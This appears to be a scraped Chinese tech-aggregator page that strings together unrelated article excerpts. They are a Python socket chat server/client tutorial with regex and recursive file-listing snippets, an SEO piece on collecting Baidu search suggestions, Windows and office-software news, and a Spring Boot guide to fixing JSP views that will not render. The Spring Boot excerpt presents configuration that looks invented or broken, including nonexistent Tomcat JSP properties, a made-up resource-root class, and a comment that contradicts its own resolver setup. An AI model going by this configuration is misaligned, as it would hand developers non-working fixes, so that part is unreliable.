监听端口socket_server.listen(1) 等待客户端链接conn, address =socket_server.accept()print(f"接收到客户端的信息{address}")while True:data: str = conn.recv(1024).decode("UTF-8")print(f"客户端消息{data}") 发送回复消息msg = input("输入回复消息:")if msg == 'exit':breakconn.send(msg.encode("UTF-8")) 关闭连接conn.close()socket_server.close() 客户端、 import socket 创建socket对象socket_client = socket.socket() 连接到服务器socket_client.connect(("localhost", 8888))while True:msg = input("输入发送消息:")if(msg == 'exit'):break 发送消息socket_client.send(msg.encode("UTF-8"))接收返回消息recv_data = socket_client.recv(1024)print(f"服务端回复消息:{recv_data.decode('UTF-8')}") 关闭链接socket_client.close() 正则表达式使用 import res = "pythonxxxxxxpython"result = re.match("python",s) 从左到右匹配print(result) <re.Match object; span=(0, 6), match='python'>print(result.span()) (0, 6)print(result.group()) pythonresult = re.search("python",s) 匹配到第一个print(result) <re.Match object; span=(0, 6), match='python'>result = re.findall("python",s) 匹配全部print(result) ['python', 'python'] 单字符匹配 数量匹配 边界匹配 分组匹配 pattern = "1[35678]\d{9}"phoneStr = "15288888888"result = re.match(pattern, phoneStr)print(result) <re.Match object; span=(0, 11), match='15288888888'> 递归 递归显示目录中文件 import osdef get_files_recursion_dir(path):file_list = []if os.path.exists(path):for f in os.listdir(path):new_path = path + "/" + fif os.path.isdir(new_path):file_list += get_files_recursion_dir(new_path)else:file_list.append(new_path)else:print(f"指定的目录{path},不存在")return []return file_listif __name__ == '__main__':print(get_files_recursion_dir("D:\test")) 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_29385297/article/details/128085103。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-28 18:35:16
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...营销白皮书》最新数据显示,搜索引擎下拉词是用户搜索行为的真实反映,其中隐藏着丰富的行业热点与潜在需求信息。通过抓取并分析这些数据,企业能够更准确地定位目标受众,优化网站内容以提升关键词排名,从而增强品牌曝光度与流量转化率。 此外,值得注意的是,在实施此类数据采集时,务必遵守相关法律法规,尊重并保护用户隐私。近期,我国对大数据应用领域的监管趋严,《个人信息保护法》等法规对数据收集、使用提出了更为严格的要求。因此,在实际操作中,应当确保数据来源合法,遵循正当必要原则,并采取必要的脱敏措施。 综上所述,结合当下网络营销环境,合理合法地运用技术手段进行百度下拉词数据的采集与分析,不仅可以为企业提供宝贵的数据资源,还能助力其在瞬息万变的市场环境中抢占先机,实现可持续发展。同时,也应关注行业动态,紧跟政策导向,合规合法地开展数据采集工作,确保企业在数字化转型过程中行稳致远。
2023-06-21 12:59:26
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...功能和操作技巧的基础内容后,我们可以进一步关注当前技术领域与之相关的最新动态。例如,Windows 11系统最近推出的全新设计不仅改进了界面美观度,还优化了多任务处理功能,其中包括全新的Snap Layouts分屏模式,用户可以根据屏幕大小和工作需求自由组合窗口布局,极大提升了工作效率。 针对磁盘清理方面,微软在持续更新的存储感知功能中新增了对临时文件、系统缓存以及不常用应用数据的智能清理策略。用户可以在设置菜单中开启自动清理功能,以实现更精细化的空间管理。 此外,随着远程办公需求的增长,Windows系统的远程桌面服务(Remote Desktop Services)也得到了显著增强。近期发布的Windows Server版本中,微软对其进行了性能提升和安全性加固,并支持更多设备类型无缝接入,使得远程办公更为便捷安全。 而在视频剪辑软件方面,Adobe Premiere Rush等专业级工具已逐渐推出云端协作功能,让创作者能够在不同设备间同步项目进度,实现高效协同创作。同时,WPS Office也在不断升级迭代,除了提供拼写检查选项的自定义外,还增加了AI辅助写作、在线模板等功能,为用户提供更加智能化的文档处理体验。 总之,在信息技术日新月异的今天,紧跟操作系统及各类软件的最新发展,结合文章所提及的基本操作方法,将有助于我们更好地利用科技工具提高工作效率,解决日常使用中的问题,同时也预示着未来数字生活将更加个性化和智能化。
2023-03-01 13:02:11
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Java
...中带有相关视图名称的方法(如@GetMapping("/home")映射到WEB-INF/views/homePage.jsp)时,浏览器却无法显示出预期的JSP页面内容,且并未抛出任何异常,而是默认返回了空响应或者错误状态码。 三、问题分析与排查 面对这一看似简单的配置失效问题,我们首先需要进行如下几个方面的排查: 1. 检查视图解析器配置 确保视图解析器org.springframework.web.servlet.view.InternalResourceViewResolver已被正确注册并设置了prefix与suffix属性。检查Spring Boot启动类(如WebMvcConfig.java或Application.java中的WebMvcConfigurer实现): java @Configuration public class WebMvcConfig implements WebMvcConfigurer { @Override public void configureViewResolvers(ViewResolverRegistry registry) { InternalResourceViewResolver resolver = new InternalResourceViewResolver(); resolver.setPrefix("/WEB-INF/views/"); resolver.setSuffix(".jsp"); registry.viewResolver(resolver); } } 2. 模块间依赖与资源路径映射 确认module-web是否正确引入了module-views的相关JSP文件,并指定了正确的资源路径。查看module-web的pom.xml或build.gradle文件中对视图资源模块的依赖路径: xml com.example module-views 1.0.0 war runtime classes // Gradle dependencies { runtimeOnly 'com.example:module-views:1.0.0' } 以及主启动类(如Application.java)中的静态资源映射配置: java @SpringBootApplication public class Application { @Bean TomcatServletWebServerFactory tomcat() { TomcatServletWebServerFactory factory = new TomcatServletWebServerFactory(); factory.addContextCustomizer((TomcatWebServerContext context) -> { // 将模块视图目录映射到根URL下 context.addWelcomeFile("index.jsp"); WebResourceRoot resourceRoot = new TomcatWebResourceRoot(context, "static", "/"); resourceRoot.addDirectory(new File("src/main/resources/static")); context.setResources(resourceRoot); }); return factory; } public static void main(String[] args) { SpringApplication.run(Application.class, args); } } 3. 检查JSP引擎配置 确保Tomcat服务器配置已启用JSP支持。在module-web对应的application.properties或application.yml文件中配置JSP引擎: properties server.tomcat.jsp-enabled=true server.tomcat.jsp.version=2.3 或者在module-web的pom.xml或build.gradle文件中为Tomcat添加Jasper依赖: xml org.apache.tomcat.embed tomcat-embed-jasper provided // Gradle dependencies { implementation 'org.apache.tomcat.embed:tomcat-embed-jasper:9.0.54' } 4. 控制器与视图名称匹配验证 在完成上述配置后,请务必核实Controller中返回的视图名称与其实际路径是否一致。如果存在命名冲突或者拼写错误,将会导致Spring MVC无法找到预期的JSP视图: java @GetMapping("/home") public String home(Model model) { return "homePage"; // 视图名称应更改为"WEB-INF/views/homePage.jsp" } 四、总结与解决办法 综上所述,Spring Boot返回JSP无效的问题可能源于多个因素的叠加效应,包括但不限于视图解析器配置不完整、模块间依赖关系未正确处理、JSP引擎支持未开启、或Controller与视图名称之间的不对应等。要解决这个问题,需从以上几个方面进行逐一排查和修正。 切记,在面对这类问题时,要保持冷静并耐心地定位问题所在,仔细分析配置文件、源代码和日志输出,才能准确找出症结所在,进而成功解决问题。这不仅让我们实实在在地磨炼了编程功夫,更是让咱们对Spring Boot这家伙的工作内幕有了更深的洞察。这样一来,我们在实际项目中遇到问题时,调试和应对的能力都像坐火箭一样嗖嗖提升啦!
2024-02-17 11:18:11
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半夏微凉_t
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2023-03-30 19:22:59
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